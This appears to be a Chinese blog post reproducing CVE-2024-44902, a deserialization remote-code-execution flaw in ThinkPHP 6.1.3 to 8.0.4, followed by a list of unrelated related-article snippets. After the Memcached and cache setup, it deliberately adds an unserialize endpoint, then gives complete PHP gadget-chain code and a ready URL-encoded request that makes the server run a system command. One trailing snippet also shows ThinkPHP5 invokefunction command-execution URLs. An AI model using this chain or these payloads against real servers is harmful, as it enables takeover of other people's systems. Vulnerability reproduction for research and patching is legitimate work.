CVE-2024-44902 Thinkphp反序列化漏洞

Thinkphp v6.1.3至v8.0.4版本中存在反序列化漏洞,攻击者可利用此漏洞执行任意代码。

影响版本

v6.1.3 <= thinkphp <= v8.0.4

环境搭建

  • 环境:php8.0.2+thinkphp8.0.4+memcached3.2.0

首先搭建 thinkphp 环境:thinkPHP 8.0.4 安装_thinkphp8.0在哪下载-CSDN博客

要复现该漏洞,需确保你的Windows(或任何操作系统)上已经安装了Memcached服务器,并且PHP环境中也已经安装并启用了Memcached扩展。

安装Memcached服务器

  1. 下载Memcached软件:http://static.jyshare.com/download/memcached-1.4.5-amd64.zip
  2. 安装并启动 Memcached,执行如下,然后在任务栏中可见相关进程已启动
memcached.exe -d install
memcached.exe -d start

安装 PHP Memcached扩展

1. 下载PHP Memcached扩展:https://github.com/lifenglsf/php_memcached_dll

首先通过 phpinfo 查看 php 版本,NTS

由于是 php8.0 以及 NTS 所以选择如下

2. 下载后将php_memcached.dll 复制到对应 php 版本的 ext 目录中

3. 然后将 libmemcached.dll 复制到 c:\Windows 下

4. 在 php.ini 中添加一行配置,启用Memcached扩展

[Memcached]
extension=php_memcached.dll

配置ThinkPHP的缓存设置

最后需要在ThinkPHP的配置文件中设置默认的缓存驱动为Memcached

打开 config/cache.php,配置如下

<?php// +----------------------------------------------------------------------// | 缓存设置// +----------------------------------------------------------------------// config/cache.php  return [  // 默认缓存驱动  'default'     => 'memcached',  // 缓存连接方式配置  'stores'      => [  // Memcached缓存  'memcached' => [  // 驱动方式  'type'   => 'memcached',  // 服务器地址  'host'   => '127.0.0.1',  // 端口  'port'   => 11211,  // 持久连接  'persistent'    => false,  // 超时时间(单位:秒)  'timeout'       => 0,  // 前缀  'prefix'        => '',  // Memcached连接选项  'options'       => [],  // 权重(在多服务器配置时使用)  // 'weight'        => 100,  ],  // 这里可以配置其他缓存驱动  ],  ];

最后重启 thinkphp (php think run) ,通过 phpinfo,查看扩展是否正确加载

到这环境准备完成

漏洞复现

1. 首先,在app\controller\Index.php 中添加一个反序列化端点。因为这个漏洞只是提供了一条反系列化的链,而在实战中该反序列化的的入口点需要自己去找

<?phpnamespace app\controller;use app\BaseController;class Index extends BaseController
{public function index(){unserialize($_GET['x']);return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';}public function hello($name = 'ThinkPHP8'){return 'hello,' . $name;}
}

2. 利用下面的payload生成序列化数据,将该文件放置到 tp\public 目录下

<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{protected $options=[];function __construct(){$this->options["username"]=new Pivot();}
}namespace think\model;
use think\model;
class Pivot extends Model
{}namespace think;
abstract class Model{private $data = [];private $withAttr = [];protected $json = [];protected $jsonAssoc = true;function __construct(){$this->data["fru1ts"]=["C:\Windows\System32\whoami.exe"];$this->withAttr["fru1ts"]=["system"];$this->json=["fru1ts"];}
}namespace think\route;
use think\DbManager;
class ResourceRegister
{protected $registered = false;protected $resource;function __construct(){$this->registered=false;$this->resource=new DbManager();}
}
namespace think;
use think\model\Pivot;
class DbManager
{protected $instance = [];protected $config = [];function __construct(){$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];$this->config["default"]="getRule";}
}use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

3. 使用 payload 反序列化触发 rce

http://127.0.0.1:8000/?x=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A30%3A%22C%3A%5CWindows%5CSystem32%5Cwhoami.exe%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148776.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

02 BlockChain-- ETH

以太坊与比特币有什么不同&#xff1f; 以太坊立足比特币创新之上&#xff0c;于 2015 年启动&#xff0c;两者之间有一些显著不同。 从宏观的方面&#xff1a; 比特币就仅仅是比特币&#xff1b;以太坊&#xff08;Ethereum&#xff09;包括以太币&#xff08;Ether&#x…

Python可迭代对象(2)

目录 3。字典 字典的构造 字典的添加和修改 字典推导式的使用 以上全部代码编译结果展示 字典复习 4。集合(set) 集合的创建 集合的运算 集合的添加和删除元素 以上全部代码的编译结果 序列解包&#xff08;Sequence unpacking&#xff09; 3。字典 字典的构造 #字…

【第十六章:Sentosa_DSML社区版-机器学习之生存分析】

【第十六章&#xff1a;Sentosa_DSML社区版-机器学习之生存分析】 16.1 加速失效时间回归 1.算子介绍 加速失效时间回归模型Accelerated failure time (AFT)是一个监督型参数化的回归模型&#xff0c;它可以处理删失数据。它描述了一个生存时间的对数模型&#xff0c;所以它通…

Pygame中Sprite实现逃亡游戏1

在《Pygame中Sprite类实现多帧动画》系列中&#xff0c;通过pygame中的sprite类&#xff08;精灵类&#xff09;实现了多帧动画。在该动画的基础上&#xff0c;可以来实现一个逃亡游戏&#xff0c;如图1所示。 图1 逃亡游戏效果 从图1中可以看出&#xff0c;玩家被飞龙追赶&am…

【树莓派】python3程序获取CPU和GPU温度

前言代码以及展示总结 前言 来来来&#xff0c;先放参考文献 如何检查树莓派的温度⇨这个是通过两种指令获取温度&#xff0c;和我之前设置的状态栏显示有点大同小异。 读取树莓派4B处理器(CPU)的实时温度⇨这个也是指令 下面两个是代码了 树莓派实现温度监控并控制风扇散热 获…

powerBi -L4-分组求和

有如下的表格&#xff1a;我们想统计 不同商品的销售次数&#xff0c;根据商品ID进行分类&#xff0c;统计不同ID出现的次数 1.新建列&#xff1a; 2.输入如下的公式 分组统计序列 COUNTROWS(FILTER(数据源,[商品类别]EARLIER(数据源[商品类别])&&[索引]<EARLIE…

3.2 USART 通用同步/异步收发器

文章目录 什么是USARTUSART框图 stm32的Usart串口收发配置初始化发送接收 重定向的几种方法串口发送数据包 什么是USART USART&#xff08;Universal Synchronous/Asynchronous Receiver/Transmitter&#xff09;通用同步/异步收发器USART是STM32内部集成的硬件外设&#xff0…

李沐 模型选择、过拟合和欠拟合相关代码【动手学深度学习v2】

多项式回归 生成数据集 给定x,我们将使用以下三阶多项式来生成训练和测试数据的标签: y=5+1.2x−3.4+5.6+ϵ where ϵ∼( ). 噪声项ϵ服从均值为0且标准差为0.1的正态分布。 在优化

深入了解通用漏洞评分系统(CVSS)

1. 前言 在当今数字化的时代&#xff0c;网络安全问题日益凸显&#xff0c;漏洞的发现和评估成为保障系统安全的关键环节。而通用漏洞评分系统&#xff08;CVSS&#xff09;作为一种广泛应用的漏洞评估标准&#xff0c;对于准确衡量漏洞的严重程度起着至关重要的作用。本文将带…

视频无损压缩工具+预览视频生成工具

视频无损压缩工具 功能与作用 &#xff1a;视频无损压缩工具是一种能够减少视频文件大小&#xff0c;但同时保持视频质量的工具。它通过先进的编码技术和算法&#xff0c;有效降低视频文件的存储空间&#xff0c;同时保证视频的清晰度和观感。这对于需要分享或存储大量视频内容…

Thinkphp5x远程命令执⾏及getshell

启动环境查看端口 ? sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1] []id ? s/Index/\think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[ 1][]-1 ? sindex/think\app/invokef…

稳定为恒定功率负载供电的 DC/DC 转换器

恒定功率负载 (CPL) 存在于电动汽车、电信设备、电力电子设备等各种应用中。这些 CPL 是无论施加的电压或电流如何变化都保持恒定功耗的电气负载。与呈现恒定电阻的电阻负载不同&#xff0c;CPL 具有随电压或电流变化而变化的动态阻抗&#xff0c;即&#xff0c;当负载两端的电…

RabbitMQ 高级特性——重试机制

文章目录 前言重试机制配置文件设置生命交换机、队列和绑定关系生产者发送消息消费消息 前言 前面我们学习了 RabbitMQ 保证消息传递可靠性的机制——消息确认、持久化和发送发确认&#xff0c;那么对于消息确认和发送方确认&#xff0c;如果接收方没有收到消息&#xff0c;那…

照片EXIF数据统计与可视化

拍的照片越来越多&#xff0c;想要了解一下日常拍摄的习惯&#xff0c;便于后面换镜头、调整参数等操作&#xff0c;所以写了这个脚本来统计照片的EXIF数据。该脚本用于统计指定文件夹下所有JPG图片的EXIF数据&#xff0c;包括快门速度、ISO、焦距、光圈和拍摄时间&#xff0c;…

一张示意图看懂深度嵌入聚类DEC

深度嵌入聚类算法的架构。 步骤 1&#xff1a;根据输入数据集&#xff0c;训练自编码器将原始变量矩阵映射到潜在特征。 步骤 2&#xff1a;对潜在特征进行 K 均值聚类。 步骤 3-6&#xff1a;然后&#xff0c;为每个样本计算六个软标签&#xff0c;并估计目标分布&#xff…

小米机型更改参数与工程固件的关联 实例解析工程固件修改参数的步骤解析

工程固件写入后手机机型的端口默认是全开。包括usb调试以及基带端口diag 。而且工程固件基带默认是没有加密的。改写无限制。这也就是很多技术使用工程固件来写入机型的目的。今天简单来解析下工程固件修改参数的常规步骤以及一些常规知识。 通过博文了解: 1💝💝💝---…

基于vue框架的传染病人管理系统3w776(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能&#xff1a;公告信息,工作人员,传染病人,上报记录,入住信息,需求订单,隔离结束记录 开题报告内容 基于Vue框架的传染病人管理系统开题报告 一、研究背景与意义 研究背景 在全球化的今天&#xff0c;人口流动日益频繁&#xff0c;传染病的传播速…

报文在VXLAN网络中是怎么转发的?这么简单居然有人不知道

号主&#xff1a;老杨丨11年资深网络工程师&#xff0c;更多网工提升干货&#xff0c;请关注公众号&#xff1a;网络工程师俱乐部 你们好&#xff0c;我的网工朋友 不知道大家有没有想过这个问题&#xff1a;VXLAN网络中的报文是如何转发的&#xff1f; 在基本的二三层转发中…

在ComfyUI中,Cross-Attention优化方案应该选哪个?

&#x1f431;‍&#x1f409;背景 在comfyui中&#xff0c;如果你使用了秋叶的启动器&#xff0c;会在高级选项中看到这样一行选项&#xff1a;Cross-Attention优化方案&#xff0c;右边有个下拉框&#xff0c;可以选择的选项有4个&#xff0c;如下图&#xff1a; 那么&#…

vscode缩进 和自动格式化

如下图&#xff0c;缩进太大了。 检查2个地方 prettierrc.cjs文件。此处决定缩进几个tab vscode 的设置。 保存的时候 格式化。